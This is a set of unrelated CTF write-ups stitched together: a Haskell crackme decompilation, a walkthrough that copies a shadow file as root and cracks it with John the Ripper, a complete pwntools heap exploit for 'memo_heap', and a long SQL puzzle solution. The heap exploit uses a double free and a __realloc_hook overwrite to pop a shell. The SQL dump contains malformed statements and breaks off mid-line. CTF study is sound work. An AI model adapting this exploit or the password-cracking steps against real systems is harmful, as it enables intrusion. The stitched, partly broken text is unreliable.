s1b4_info = unpackCString# "abcdefghijklmnopqrstuvwxyz"loc_7172600 = I# 9s1bb_info = !! s1b5_info loc_7172488 #our third chunk of inputloc_7172488 = I# 2s1b5_info = splitOn $fEqChar (unpackCString# "#") s1dZ_info_arg_0 #split our input on '#'loc_7172584 = I# 8loc_7172504 = I# 3s1b2_info = unpackCString# "1234567890"loc_7172568 = I# 7loc_7172552 = I# 6s1b3_info = unpackCString# "ABCDEFGHIJKLMNOPQRSTUVWXYZ"loc_7172536 = I# 5loc_7172520 = I# 4loc_7172472 = I# 1loc_7172456 = I# 0loc_7168872 = C# 48s1b9_info = !! s1b5_info loc_7172472 #our second chunk of inputs1b7_info = !! s1b5_info loc_7172456 #our 0th or first chunk of input
```
I realized this wasn't working code but it was somewhat easy to read once I read up on some Haskell syntax. The biggest revelation being that !! is how you access an array element in Haskell. I determined that my input was being split based on a '#' sign and then printed with the pound sign replaced by '\_'. Then I recognized three If equal statements. The first two were pretty easy to read. The first one simply checked the first chunk of our split input to see if it equaled: Flag{S0me0fU5. It did this by comparing each ordinal value of each char in my first chunk with certain integers. The second statement did the same thing but it reversed the string 4r3L00king. The last statement indexed into the strings located at the bottom of the script. I chose to go through this by hand and see what it was comparing our input to. It turned out to be AtTh3St4rs. So the final serial number was: **"Flag{S0me0fU5#4r3L00king#AtTh3St4rs"**. This was also the flag.
### Appendix A
On first run I got the following:```> python runner.py path/to/binaryTraceback (most recent call last): File "runner.py", line 4, in <module> main() File "...ctfs/Codegat2018/hsdecomp/hsdecomp/__init__.py", line 23, in main entry_pointer = StaticValue(value = settings.name_to_address[opts.entry])KeyError: 'Main_main_closure'```Well that's not the worst error in the world. After some debugging I was able to figure out the settings.name_to_address dictionary was completely empty. So I looked at metadata.py and found where the dictionary was being initialized. I found the following try exception block with no exception messages being thrown.```for sym in symtab.iter_symbols(): try: name = str(sym.name, 'ascii') offset = sym['st_value'] settings.name_to_address[name] = offset settings.address_to_name[offset] = name except: pass
```After adding an exception message to the except block I found out the issue was the call str(sym.name, 'ascii') was not a valid call so I changed the block to.```for sym in symtab.iter_symbols(): try: name = str(sym.name) offset = sym['st_value'] settings.name_to_address[name] = offset settings.address_to_name[offset] = name except Exception as e: print e.message```This was a quick fix. I got the following error.```python runner.py path/to/binary
Traceback (most recent call last): File "runner.py", line 4, in <module> main() File ".../ctfs/Codegat2018/hsdecomp/hsdecomp/__init__.py", line 71, in main print(lhs, "=", show.show_pretty_interpretation(settings, interpretations[pointer])) File ".../ctfs/Codegat2018/hsdecomp/hsdecomp/show.py", line 80, in show_pretty_interpretation return '\n'.join(render_pretty_interpretation(settings, interp, 0)) File ".../ctfs/Codegat2018/hsdecomp/hsdecomp/show.py", line 89, in render_pretty_interpretation args.append(render_pretty_interpretation(settings, arg, 2)) File ".../ctfs/Codegat2018/hsdecomp/hsdecomp/show.py", line 89, in render_pretty_interpretation args.append(render_pretty_interpretation(settings, arg, 2)) File ".../ctfs/Codegat2018/hsdecomp/hsdecomp/show.py", line 91, in render_pretty_interpretation args.append([show_pretty_nonptr(settings, arg, interp.func)]) File ".../ctfs/Codegat2018/hsdecomp/hsdecomp/show.py", line 49, in show_pretty_nonptr ret += chr(settings.binary[parsed_offset])TypeError: an integer is required```For this error I was getting worried this wasn't going to work but I fixed this error by changing the following code block.
```***ORIGINAL***ret = '"'parsed_offset = settings.rodata_offset + valuewhile settings.binary[parsed_offset] != 0: ret += chr(settings.binary[parsed_offset]) parsed_offset += 1ret += '"'return ret***END ORIGINAL***
***FIX***ret = '"'parsed_offset = settings.rodata_offset + valuewhile ord(settings.binary[parsed_offset]) != 0: try: ret += settings.binary[parsed_offset] parsed_offset += 1 except: breakret += '"'return ret***END FIX***```
Basically the settings.binary dictionary contained chars as opposed to integers so I did a quick hack to fix this issue. I was then able to somewhat successfully run the decompiler. |
## You wan't writeup of the challenge? Yes, It's there down...
So, First of all let's download [neverlan.ovf](https://s3-us-west-2.amazonaws.com/neverlanctf/files/neverlan.ova) And, import it to Virtual Box.After that, Let's Run it...Now, let's give the **password:neverlan** as mentionedHere, open Terminal `CTRL+ALT+T` And, Type the following...```sudo su # To get access as root user And, Type the password:neverlancd / # To go to last directory of the systemcp /etc/shadow.backup /home/kyloren/Desktop/shadow # To copy the backed up shadow file to desktopexit # To exit Super User Modecd Desktop # To change the directory to Desktopsudo chmod 777 shadow # To change the permission as 'read, write, execute' to all the users```Now, we need to use John The Ripper to get the password from shadow file
Let's open **Johnny**_(GUI Version of John The Ripper)_Click on `Open password file`And, again click on `Open password file (PASSWD format)` and, select the shadow fileFinally, Click on `Start new attack`DONE!
**Flag or the Password : startwars** |
Exploit by h3rcul35 (post-ctf) :```from pwn import *
p=process('memo_heap')libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
def send(input): p.sendline(str(input))
def sla(first,second): p.sendlineafter(str(first),str(second))
def ra(till): p.recvuntil(till) return p.recvline()
def choice(num): sla('choice: ',str(num))
def create(size,name=''): choice('1') sla('create? ',str(size)) if name!='': sla('memo: ',str(name)) def delete(index): choice('4') sla('delete: ',str(index))
def show(index): choice('3') sla('show: ',str(index))
def edit(index,data=''): choice('2') sla('edit: ',str(index)) if data!='': sla('of memo: ',str(data))
create(256,'A'*8)create(0)delete(0)create(0)show(0)
recv=ra('Name: ').split('\n')[0]main_arena=u64(recv+"\x00"*(8-len(recv)))-88libc_base=main_arena-0x3c2860one_shot=libc_base+0x4647crealloc_hook=libc_base+libc.symbols['__realloc_hook']print "[+] Libc leaked. Base at "+hex(libc_base)print "[+] Realloc hook address: "+hex(realloc_hook)print "[+] One shot gadget is at "+hex(one_shot)
delete(1)delete(0)create(0)show(0)
heap_130=u64(ra('Name: ').split('\n')[0]+"\x00"*2)heap_base=heap_130-0x130print "[+] Heap leaked. Base at "+hex(heap_base)
create(96,'B'*3)create(16,'C'*3)create(0)edit(0)delete(2)delete(0)print "[+] Double free triggererd for size 16"
#a,b,a in free bin list(0x10). First use create(16,p64(metadata_chunk)) then create(16) twice. #create(16,p64(malloc_hook)) now will give write access to meta data for 0x70 chunk and corrupt it.#now edit the chunk of size 0x70 and write one_shot into it. And call realloc (edit)
create(16,p64(heap_base+0x130)) create(16,'D'*3)create(16,p64(heap_base+0x50)+p32(0)+p32(1))print "[+] Fast bin dup done for size 16"
delete(0)delete(2)delete(3)create(96,'E'*3)edit(1)delete(0)delete(1)print "[+] Double free triggered for size 96"
create(96,p64(realloc_hook-0x13)*2)create(96,'a'*3)create(96,'b'*3)pay='\x00'*3+(p64(one_shot)+p64(0))*2create(96,pay)print "[+] Fast bin dup done for size 96"print "[+] Overwrote __realloc_hook with magic gadget"
edit(1)p.interactive() |
# Original description:
Unnormalized-form data is troublesome. [unf.zip](https://problem.harekaze.com/fefca251bfb1518b50fb928c91612587c899e27a00ff58e4292fe15c0c838820/unf/unf.zip)
# Problem:
The zip file contains a (Postgre) SQL file which creates two tables dic and rel and a (nice recursive) function flag(). Also a lot of data is inserted into those tables. The tables use TEXT[] arrays of size 3, which is a nice addition. When the function is called, you just get HarekazeCFP{} without the flag.
# Solution:The dic table is a dictionary (which combination of letters/code is which letter). The rel table shows which code follows some other code in the solution. The FLAG() function defines an addtional table that resembles the ordering of letters in the solution. When compared to the actual data in rel some of the codes in the ordering were out of order. When changing these values, the solution emerges. Here is the code (the original values are given in the comment):
```DROP FUNCTION flag();DROP TABLE dic, rel;
CREATE TABLE dic (a TEXT[], c TEXT);ALTER TABLE dic OWNER TO postgres;
CREATE TABLE rel (s TEXT[], d TEXT[]);ALTER TABLE rel OWNER TO postgres;
INSERT INTO dic(a, c) VALUES('{d,B,7}','H');INSERT INTO dic(a, c) VALUES('{b,A,4}','.');INSERT INTO dic(a, c) VALUES('{b,H,1}','=');INSERT INTO dic(a, c) VALUES('{d,A,5}','p');INSERT INTO dic(a, c) VALUES('{b,A,3}','k');INSERT INTO dic(a, c) VALUES('{c,A,1}','r');INSERT INTO dic(a, c) VALUES('{b,C,3}','T');INSERT INTO dic(a, c) VALUES('{c,B,2}','_');INSERT INTO dic(a, c) VALUES('{b,E,2}','w');INSERT INTO dic(a, c) VALUES('{d,E,6}','N');INSERT INTO dic(a, c) VALUES('{c,A,4}','y');INSERT INTO dic(a, c) VALUES('{b,D,3}','_');INSERT INTO dic(a, c) VALUES('{c,D,5}','!');INSERT INTO dic(a, c) VALUES('{d,G,2}','q');INSERT INTO dic(a, c) VALUES('{a,G,5}','n');INSERT INTO dic(a, c) VALUES('{d,B,5}','e');INSERT INTO dic(a, c) VALUES('{b,H,3}','5');INSERT INTO dic(a, c) VALUES('{a,G,1}','p');INSERT INTO dic(a, c) VALUES('{c,D,1}','*');INSERT INTO dic(a, c) VALUES('{d,E,7}','e');INSERT INTO dic(a, c) VALUES('{c,E,4}','c');INSERT INTO dic(a, c) VALUES('{b,G,6}','e');INSERT INTO dic(a, c) VALUES('{a,7,A}','#');INSERT INTO dic(a, c) VALUES('{b,1,G}','2');INSERT INTO dic(a, c) VALUES('{a,4,G}','q');INSERT INTO dic(a, c) VALUES('{d,2,E}','d');INSERT INTO dic(a, c) VALUES('{d,6,C}','{');INSERT INTO dic(a, c) VALUES('{c,1,F}','*');INSERT INTO dic(a, c) VALUES('{c,2,E}','V');INSERT INTO dic(a, c) VALUES('{NULL,D,2}','|');INSERT INTO dic(a, c) VALUES('{d,B,1}','r');INSERT INTO dic(a, c) VALUES('{b,H,2}','p');INSERT INTO dic(a, c) VALUES('{c,H,2}','q');INSERT INTO dic(a, c) VALUES('{b,G,2}','i');INSERT INTO dic(a, c) VALUES('{a,H,7}','V');INSERT INTO dic(a, c) VALUES('{c,C,5}','$');INSERT INTO dic(a, c) VALUES('{a,C,5}','n');INSERT INTO dic(a, c) VALUES('{d,F,2}','z');INSERT INTO dic(a, c) VALUES('{b,E,7}','e');INSERT INTO dic(a, c) VALUES('{c,G,6}','2');INSERT INTO dic(a, c) VALUES('{d,B,3}','W');INSERT INTO dic(a, c) VALUES('{c,B,5}','l');INSERT INTO dic(a, c) VALUES('{b,C,2}','\\');INSERT INTO dic(a, c) VALUES('{b,B,1}','X');INSERT INTO dic(a, c) VALUES('{b,E,3}','a');INSERT INTO dic(a, c) VALUES('{b,H,5}','F');INSERT INTO dic(a, c) VALUES('{a,D,1}','?');INSERT INTO dic(a, c) VALUES('{d,G,6}','>');INSERT INTO dic(a, c) VALUES('{a,H,6}','L');INSERT INTO dic(a, c) VALUES('{a,F,7}','L');INSERT INTO dic(a, c) VALUES('{a,A,3}','<');INSERT INTO dic(a, c) VALUES('{b,E,6}','R');INSERT INTO dic(a, c) VALUES('{b,G,5}',',');INSERT INTO dic(a, c) VALUES('{c,C,3}','K');INSERT INTO dic(a, c) VALUES('{c,B,3}','!');INSERT INTO dic(a, c) VALUES('{a,C,3}','s');INSERT INTO dic(a, c) VALUES('{c,H,6}','p');INSERT INTO dic(a, c) VALUES('{d,A,6}','5');INSERT INTO dic(a, c) VALUES('{a,G,6}','J');INSERT INTO dic(a, c) VALUES('{a,E,5}','/');INSERT INTO dic(a, c) VALUES('{b,D,6}','v');INSERT INTO dic(a, c) VALUES('{a,H,1}','8');INSERT INTO dic(a, c) VALUES('{c,C,2}','r');INSERT INTO dic(a, c) VALUES('{a,A,5}','}');INSERT INTO dic(a, c) VALUES('{D,a,4}','n');INSERT INTO dic(a, c) VALUES('{b,E,1}','r');INSERT INTO dic(a, c) VALUES('{F,b,4}','3');INSERT INTO dic(a, c) VALUES('{B,a,6}','l');INSERT INTO dic(a, c) VALUES('{B,a,3}','a');INSERT INTO dic(a, c) VALUES('{d,D,3}','0');INSERT INTO dic(a, c) VALUES('{d,A,1}','n');INSERT INTO dic(a, c) VALUES('{c,C,6}','/');INSERT INTO dic(a, c) VALUES('{c,F,3}','S');INSERT INTO dic(a, c) VALUES('{NULL,NULL,5}','?');INSERT INTO dic(a, c) VALUES('{a,F,6}','X');INSERT INTO dic(a, c) VALUES('{c,H,1}','x');INSERT INTO dic(a, c) VALUES('{d,H,4}','K');INSERT INTO dic(a, c) VALUES('{b,H,4}',':');INSERT INTO dic(a, c) VALUES('{c,A,3}','{');INSERT INTO dic(a, c) VALUES('{b,B,5}','C');INSERT INTO dic(a, c) VALUES('{c,F,6}','a');INSERT INTO dic(a, c) VALUES('{b,D,7}','r');INSERT INTO dic(a, c) VALUES('{b,F,1}','a');INSERT INTO dic(a, c) VALUES('{a,D,6}','y');INSERT INTO dic(a, c) VALUES('{c,H,5}','u');INSERT INTO dic(a, c) VALUES('{a,E,3}','k');INSERT INTO dic(a, c) VALUES('{d,D,6}','n');INSERT INTO dic(a, c) VALUES('{c,NULL,NULL}','7');INSERT INTO dic(a, c) VALUES('{d,A,4}','N');INSERT INTO dic(a, c) VALUES('{a,C,1}','q');INSERT INTO dic(a, c) VALUES('{c,F,2}','j');INSERT INTO dic(a, c) VALUES('{c,A,2}','s');INSERT INTO dic(a, c) VALUES('{a,E,6}','T');INSERT INTO dic(a, c) VALUES('{c,G,7}','h');INSERT INTO dic(a, c) VALUES('{a,C,4}','{');INSERT INTO dic(a, c) VALUES('{c,E,1}','.');INSERT INTO dic(a, c) VALUES('{c,A,6}','a');INSERT INTO dic(a, c) VALUES('{d,A,2}','m');INSERT INTO dic(a, c) VALUES('{b,E,4}','X');INSERT INTO dic(a, c) VALUES('{a,H,2}','2');INSERT INTO dic(a, c) VALUES('{NULL,B,NULL}','t');INSERT INTO dic(a, c) VALUES('{d,F,7}','e');INSERT INTO dic(a, c) VALUES('{F,a,5}','D');INSERT INTO dic(a, c) VALUES('{A,a,1}','{');INSERT INTO dic(a, c) VALUES('{b,C,5}','h');INSERT INTO dic(a, c) VALUES('{d,E,1}','t');INSERT INTO dic(a, c) VALUES('{c,G,1}','0');INSERT INTO dic(a, c) VALUES('{d,C,2}','r');INSERT INTO dic(a, c) VALUES('{a,B,7}','6');INSERT INTO dic(a, c) VALUES('{b,F,3}','}');INSERT INTO dic(a, c) VALUES('{d,C,5}','~');INSERT INTO dic(a, c) VALUES('{a,A,4}','C');INSERT INTO dic(a, c) VALUES('{c,F,4}','p');INSERT INTO dic(a, c) VALUES('{b,C,4}','c');INSERT INTO dic(a, c) VALUES('{a,B,5}','q');INSERT INTO dic(a, c) VALUES('{NULL,H,1}','6');INSERT INTO dic(a, c) VALUES('{b,G,4}','n');INSERT INTO dic(a, c) VALUES('{c,G,2}','k');INSERT INTO dic(a, c) VALUES('{a,C,2}','g');INSERT INTO dic(a, c) VALUES('{a,F,1}','w');INSERT INTO dic(a, c) VALUES('{a,F,2}','y');INSERT INTO dic(a, c) VALUES('{d,A,3}','s');INSERT INTO dic(a, c) VALUES('{b,F,2}','m');INSERT INTO dic(a, c) VALUES('{d,C,7}','&';;INSERT INTO dic(a, c) VALUES('{b,A,2}','a');INSERT INTO dic(a, c) VALUES('{c,D,3}','p');INSERT INTO dic(a, c) VALUES('{d,D,7}','2');INSERT INTO dic(a, c) VALUES('{a,A,6}',']');INSERT INTO dic(a, c) VALUES('{d,D,4}','M');INSERT INTO dic(a, c) VALUES('{d,A,NULL}','r');INSERT INTO dic(a, c) VALUES('{c,E,7}','}');INSERT INTO dic(a, c) VALUES('{d,C,4}','r');INSERT INTO dic(a, c) VALUES('{a,D,3}','v');INSERT INTO dic(a, c) VALUES('{c,H,7}','Q');INSERT INTO dic(a, c) VALUES('{c,H,4}','s');INSERT INTO dic(a, c) VALUES('{b,C,6}','H');INSERT INTO dic(a, c) VALUES('{a,F,3}','P');INSERT INTO dic(a, c) VALUES('{b,B,6}','D');INSERT INTO dic(a, c) VALUES('{c,B,7}','E');INSERT INTO dic(a, c) VALUES('{b,B,3}','l');INSERT INTO dic(a, c) VALUES('{a,D,5}','u');INSERT INTO dic(a, c) VALUES('{a,D,2}','7');INSERT INTO dic(a, c) VALUES('{c,E,6}',']');INSERT INTO dic(a, c) VALUES('{a,G,3}','n');INSERT INTO dic(a, c) VALUES('{d,E,3}','$');INSERT INTO dic(a, c) VALUES('{b,A,6}','n');INSERT INTO dic(a, c) VALUES('{c,F,7}','n');INSERT INTO dic(a, c) VALUES('{d,E,4}','-');INSERT INTO dic(a, c) VALUES('{b,D,5}','_');INSERT INTO dic(a, c) VALUES('{b,C,7}','O');INSERT INTO dic(a, c) VALUES('{c,C,1}','~');INSERT INTO dic(a, c) VALUES('{a,B,2}','2');INSERT INTO dic(a, c) VALUES('{a,G,7}','#');INSERT INTO dic(a, c) VALUES('{a,F,NULL}','0');INSERT INTO dic(a, c) VALUES('{b,H,7}','T');INSERT INTO dic(a, c) VALUES('{d,F,1}','M');INSERT INTO dic(a, c) VALUES('{4,B,a}','}');INSERT INTO dic(a, c) VALUES('{3,E,c}','&';;INSERT INTO dic(a, c) VALUES('{d,NULL,4}',';');INSERT INTO dic(a, c) VALUES('{d,H,7}','A');INSERT INTO dic(a, c) VALUES('{a,A,2}','X');INSERT INTO dic(a, c) VALUES('{d,G,7}','Z');INSERT INTO dic(a, c) VALUES('{b,A,5}','/');INSERT INTO dic(a, c) VALUES('{c,D,6}','9');INSERT INTO dic(a, c) VALUES('{c,A,7}','a');INSERT INTO dic(a, c) VALUES('{b,F,5}','2');INSERT INTO dic(a, c) VALUES('{c,B,4}','s');INSERT INTO dic(a, c) VALUES('{d,C,3}','h');INSERT INTO dic(a, c) VALUES('{d,E,5}','1');INSERT INTO dic(a, c) VALUES('{d,G,5}','o');INSERT INTO dic(a, c) VALUES('{a,B,1}','j');INSERT INTO dic(a, c) VALUES('{b,A,1}','E');INSERT INTO dic(a, c) VALUES('{c,C,4}','>');INSERT INTO dic(a, c) VALUES('{a,E,1}','}');INSERT INTO dic(a, c) VALUES('{d,B,6}','D');INSERT INTO dic(a, c) VALUES('{d,G,1}','l');INSERT INTO dic(a, c) VALUES('{d,F,3}','h');INSERT INTO dic(a, c) VALUES('{c,G,5}','Y');INSERT INTO dic(a, c) VALUES('{c,G,4}','l');INSERT INTO dic(a, c) VALUES('{a,C,7}','~');INSERT INTO dic(a, c) VALUES('{b,F,7}','|');INSERT INTO dic(a, c) VALUES('{c,B,1}','[');INSERT INTO dic(a, c) VALUES('{c,A,5}','t');INSERT INTO dic(a, c) VALUES('{d,B,2}','@');INSERT INTO dic(a, c) VALUES('{5,F,c}','M');INSERT INTO dic(a, c) VALUES('{5,F,d}','l');INSERT INTO dic(a, c) VALUES('{5,H,d}','K');INSERT INTO dic(a, c) VALUES('{NULL,G,3}','e');INSERT INTO dic(a, c) VALUES('{a,C,6}','1');INSERT INTO dic(a, c) VALUES('{a,E,4}','1');INSERT INTO dic(a, c) VALUES('{a,E,2}','f');INSERT INTO dic(a, c) VALUES('{b,D,1}','S');INSERT INTO dic(a, c) VALUES('{a,H,4}','(');INSERT INTO dic(a, c) VALUES('{d,C,1}','w');INSERT INTO dic(a, c) VALUES('{b,G,3}','B');INSERT INTO dic(a, c) VALUES('{c,C,7}','h');INSERT INTO dic(a, c) VALUES('{b,F,6}','T');INSERT INTO dic(a, c) VALUES('{c,H,3}','O');INSERT INTO dic(a, c) VALUES('{b,A,7}','D');INSERT INTO dic(a, c) VALUES('{c,G,3}','/');
INSERT INTO rel(s, d) VALUES('{b,C,5}','{c,A,6}');INSERT INTO rel(s, d) VALUES('{d,D,3}','{c,A,1}'); -- a,D,2INSERT INTO rel(s, d) VALUES('{b,D,7}','{b,E,7}');INSERT INTO rel(s, d) VALUES('{a,F,5}','{d,D,3}');INSERT INTO rel(s, d) VALUES('{b,F,7}','{c,B,7}');INSERT INTO rel(s, d) VALUES('{a,D,2}','{b,G,3}');INSERT INTO rel(s, d) VALUES('{c,C,7}','{a,C,6}');INSERT INTO rel(s, d) VALUES('{b,G,2}','{d,G,1}');INSERT INTO rel(s, d) VALUES('{c,D,6}','{d,E,7}');INSERT INTO rel(s, d) VALUES('{b,A,7}','{a,F,3}');INSERT INTO rel(s, d) VALUES('{d,C,2}','{d,E,1}');INSERT INTO rel(s, d) VALUES('{c,G,7}','{a,B,3}'); -- d,G,7INSERT INTO rel(s, d) VALUES('{a,G,6}','{c,A,2}');INSERT INTO rel(s, d) VALUES('{a,D,5}','{d,H,5}');INSERT INTO rel(s, d) VALUES('{c,B,4}','{b,B,6}');INSERT INTO rel(s, d) VALUES('{a,B,6}','{b,B,5}');INSERT INTO rel(s, d) VALUES('{a,F,3}','{b,E,6}');INSERT INTO rel(s, d) VALUES('{NULL,B,NULL}','{NULL,D,2}');INSERT INTO rel(s, d) VALUES('{c,F,6}','{a,C,1}');INSERT INTO rel(s, d) VALUES('{b,A,2}','{d,F,2}');INSERT INTO rel(s, d) VALUES('{d,D,6}','{c,E,3}');INSERT INTO rel(s, d) VALUES('{a,D,4}','{b,D,5}');INSERT INTO rel(s, d) VALUES('{a,C,3}','{d,C,6}'); -- b,C,3INSERT INTO rel(s, d) VALUES('{d,E,2}','{b,C,4}');INSERT INTO rel(s, d) VALUES('{a,C,4}','{c,F,2}');INSERT INTO rel(s, d) VALUES('{b,E,6}','{a,C,4}');INSERT INTO rel(s, d) VALUES('{a,H,4}','{c,A,4}');INSERT INTO rel(s, d) VALUES('{c,B,1}','{NULL,D,2}');INSERT INTO rel(s, d) VALUES('{b,H,5}','{a,E,6}'); -- d,C,6INSERT INTO rel(s, d) VALUES('{c,C,2}','{c,D,3}');INSERT INTO rel(s, d) VALUES('{d,F,3}','{b,F,7}');INSERT INTO rel(s, d) VALUES('{c,B,2}','{d,D,3}'); -- c,F,5INSERT INTO rel(s, d) VALUES('{b,E,4}','{a,E,2}');INSERT INTO rel(s, d) VALUES('{d,E,7}','{c,F,7}'); -- a,G,7INSERT INTO rel(s, d) VALUES('{c,A,6}','{d,A,1}');INSERT INTO rel(s, d) VALUES('{d,C,7}','{b,A,7}');INSERT INTO rel(s, d) VALUES('{c,A,7}','{b,A,6}');INSERT INTO rel(s, d) VALUES('{b,A,5}','{b,G,6}');INSERT INTO rel(s, d) VALUES('{c,F,2}','{b,F,2}');INSERT INTO rel(s, d) VALUES('{c,A,1}','{a,G,1}'); -- a,B,2INSERT INTO rel(s, d) VALUES('{d,NULL,4}','{d,A,NULL}');INSERT INTO rel(s, d) VALUES('{b,F,2}','{b,C,7}');INSERT INTO rel(s, d) VALUES('{a,G,1}','{c,G,7}'); -- c,A,7INSERT INTO rel(s, d) VALUES('{d,G,1}','{c,A,1}');INSERT INTO rel(s, d) VALUES('{NULL,H,1}','{d,NULL,4}');INSERT INTO rel(s, d) VALUES('{d,B,7}','{b,F,1}');INSERT INTO rel(s, d) VALUES('{c,A,4}','{c,F,4}');INSERT INTO rel(s, d) VALUES('{d,G,5}','{c,H,1}');INSERT INTO rel(s, d) VALUES('{d,A,1}','{d,A,3}');INSERT INTO rel(s, d) VALUES('{d,A,4}','{a,H,4}');INSERT INTO rel(s, d) VALUES('{d,B,5}','{NULL,G,3}');INSERT INTO rel(s, d) VALUES('{d,B,1}','{c,A,5}'); -- c,C,5INSERT INTO rel(s, d) VALUES('{c,H,7}','{d,G,2}');INSERT INTO rel(s, d) VALUES('{a,G,6}','{a,A,6}');INSERT INTO rel(s, d) VALUES('{a,E,5}','{d,NULL,4}');INSERT INTO rel(s, d) VALUES('{b,G,3}','{c,G,7}');INSERT INTO rel(s, d) VALUES('{d,H,4}','{b,G,5}');INSERT INTO rel(s, d) VALUES('{d,F,2}','{d,F,7}');INSERT INTO rel(s, d) VALUES('{d,A,NULL}','{a,G,6}');INSERT INTO rel(s, d) VALUES('{c,H,3}','{d,E,2}');INSERT INTO rel(s, d) VALUES('{c,G,3}','{b,F,6}');INSERT INTO rel(s, d) VALUES('{a,E,1}','{b,F,3}');INSERT INTO rel(s, d) VALUES('{b,B,5}','{b,D,1}');INSERT INTO rel(s, d) VALUES('{a,H,7}','{d,D,4}');INSERT INTO rel(s, d) VALUES('{b,A,4}','{d,F,3}');INSERT INTO rel(s, d) VALUES('{c,H,5}','{b,E,1}');INSERT INTO rel(s, d) VALUES('{NULL,G,3}','{a,D,4}');INSERT INTO rel(s, d) VALUES('{b,E,7}','{a,E,3}');INSERT INTO rel(s, d) VALUES('{a,B,2}','{d,A,5}');INSERT INTO rel(s, d) VALUES('{c,C,5}','{c,D,6}');INSERT INTO rel(s, d) VALUES('{d,E,5}','{d,B,1}'); -- d,F,5INSERT INTO rel(s, d) VALUES('{a,B,1}','{d,D,6}');INSERT INTO rel(s, d) VALUES('{c,A,3}','{d,NULL,4}');INSERT INTO rel(s, d) VALUES('{b,C,3}','{a,G,4}');INSERT INTO rel(s, d) VALUES('{c,H,2}','{c,E,2}');INSERT INTO rel(s, d) VALUES('{b,D,6}','{b,G,1}');INSERT INTO rel(s, d) VALUES('{b,G,6}','{d,E,7}'); -- b,E,4INSERT INTO rel(s, d) VALUES('{c,E,3}','{a,D,5}');INSERT INTO rel(s, d) VALUES('{d,NULL,4}','{c,B,1}');INSERT INTO rel(s, d) VALUES('{a,E,2}','{c,B,2}');INSERT INTO rel(s, d) VALUES('{c,E,7}','{a,B,5}');INSERT INTO rel(s, d) VALUES('{c,H,4}','{a,B,1}');INSERT INTO rel(s, d) VALUES('{d,C,3}','{d,E,5}'); -- a,E,1INSERT INTO rel(s, d) VALUES('{b,C,2}','{a,C,3}');INSERT INTO rel(s, d) VALUES('{d,F,1}','{a,A,6}');INSERT INTO rel(s, d) VALUES('{b,A,6}','{a,C,5}');INSERT INTO rel(s, d) VALUES('{b,C,4}','{a,H,7}');INSERT INTO rel(s, d) VALUES('{c,D,3}','{b,C,5}');INSERT INTO rel(s, d) VALUES('{d,G,7}','{b,C,2}');INSERT INTO rel(s, d) VALUES('{a,B,4}','{d,B,7}');INSERT INTO rel(s, d) VALUES('{a,B,5}','{b,F,4}');INSERT INTO rel(s, d) VALUES('{a,H,2}','{a,G,1}');INSERT INTO rel(s, d) VALUES('{a,G,7}','{a,F,5}');INSERT INTO rel(s, d) VALUES('{a,B,3}','{a,C,5}'); -- c,H,3INSERT INTO rel(s, d) VALUES('{a,D,1}','{d,B,1}');INSERT INTO rel(s, d) VALUES('{a,G,4}','{d,H,4}');INSERT INTO rel(s, d) VALUES('{c,E,1}','{d,NULL,4}');INSERT INTO rel(s, d) VALUES('{c,H,1}','{c,F,6}');INSERT INTO rel(s, d) VALUES('{d,F,5}','{b,A,5}');INSERT INTO rel(s, d) VALUES('{c,B,5}','{d,E,5}');INSERT INTO rel(s, d) VALUES('{d,H,5}','{d,NULL,4}');INSERT INTO rel(s, d) VALUES('{c,C,6}','{d,B,6}');INSERT INTO rel(s, d) VALUES('{b,E,3}','{d,B,3}');INSERT INTO rel(s, d) VALUES('{b,D,1}','{c,H,2}');INSERT INTO rel(s, d) VALUES('{a,C,6}','{d,C,2}');INSERT INTO rel(s, d) VALUES('{b,C,6}','{a,D,1}');INSERT INTO rel(s, d) VALUES('{b,G,5}','{d,C,7}');INSERT INTO rel(s, d) VALUES('{NULL,D,2}','{b,G,4}');INSERT INTO rel(s, d) VALUES('{d,F,7}','{a,A,4}');INSERT INTO rel(s, d) VALUES('{d,A,NULL}','{d,F,1}');INSERT INTO rel(s, d) VALUES('{b,B,6}','{d,G,5}');INSERT INTO rel(s, d) VALUES('{a,H,6}','{d,NULL,4}');INSERT INTO rel(s, d) VALUES('{a,C,1}','{c,C,4}');INSERT INTO rel(s, d) VALUES('{c,A,5}','{b,G,6}'); -- c,H,7INSERT INTO rel(s, d) VALUES('{a,E,3}','{b,A,2}');INSERT INTO rel(s, d) VALUES('{a,G,5}','{d,C,1}');INSERT INTO rel(s, d) VALUES('{b,F,3}','{c,A,5}');INSERT INTO rel(s, d) VALUES('{c,E,2}','{b,A,1}');INSERT INTO rel(s, d) VALUES('{a,G,6}','{a,D,3}');INSERT INTO rel(s, d) VALUES('{b,F,4}','{c,C,6}');INSERT INTO rel(s, d) VALUES('{b,F,1}','{b,D,7}');INSERT INTO rel(s, d) VALUES('{a,D,6}','{d,C,3}');INSERT INTO rel(s, d) VALUES('{b,G,1}','{a,F,2}');INSERT INTO rel(s, d) VALUES('{b,F,6}','{c,C,7}');INSERT INTO rel(s, d) VALUES('{b,B,1}','{b,H,2}');INSERT INTO rel(s, d) VALUES('{d,C,1}','{a,B,6}');INSERT INTO rel(s, d) VALUES('{b,E,2}','{c,B,5}');INSERT INTO rel(s, d) VALUES('{b,D,5}','{a,F,NULL}');INSERT INTO rel(s, d) VALUES('{d,F,1}','{b,G,4}');INSERT INTO rel(s, d) VALUES('{d,E,1}','{d,B,5}');INSERT INTO rel(s, d) VALUES('{a,F,NULL}','{c,C,2}');INSERT INTO rel(s, d) VALUES('{d,C,6}','{a,B,4}');INSERT INTO rel(s, d) VALUES('{a,A,4}','{b,H,7}');INSERT INTO rel(s, d) VALUES('{c,C,4}','{c,A,3}');INSERT INTO rel(s, d) VALUES('{a,F,2}','{c,E,1}');INSERT INTO rel(s, d) VALUES('{a,H,1}','{c,H,4}');INSERT INTO rel(s, d) VALUES('{b,H,2}','{a,G,5}');INSERT INTO rel(s, d) VALUES('{b,A,1}','{a,H,1}');INSERT INTO rel(s, d) VALUES('{d,B,6}','{c,H,5}');INSERT INTO rel(s, d) VALUES('{d,G,2}','{c,F,7}');INSERT INTO rel(s, d) VALUES('{NULL,D,2}','{c,G,3}');INSERT INTO rel(s, d) VALUES('{d,D,4}','{b,B,1}');INSERT INTO rel(s, d) VALUES('{c,F,5}','{a,H,2}');INSERT INTO rel(s, d) VALUES('{b,E,1}','{b,A,4}');INSERT INTO rel(s, d) VALUES('{c,F,4}','{b,E,3}');INSERT INTO rel(s, d) VALUES('{c,F,7}','{c,B,2}'); -- b,G,2INSERT INTO rel(s, d) VALUES('{d,A,5}','{a,B,3}');INSERT INTO rel(s, d) 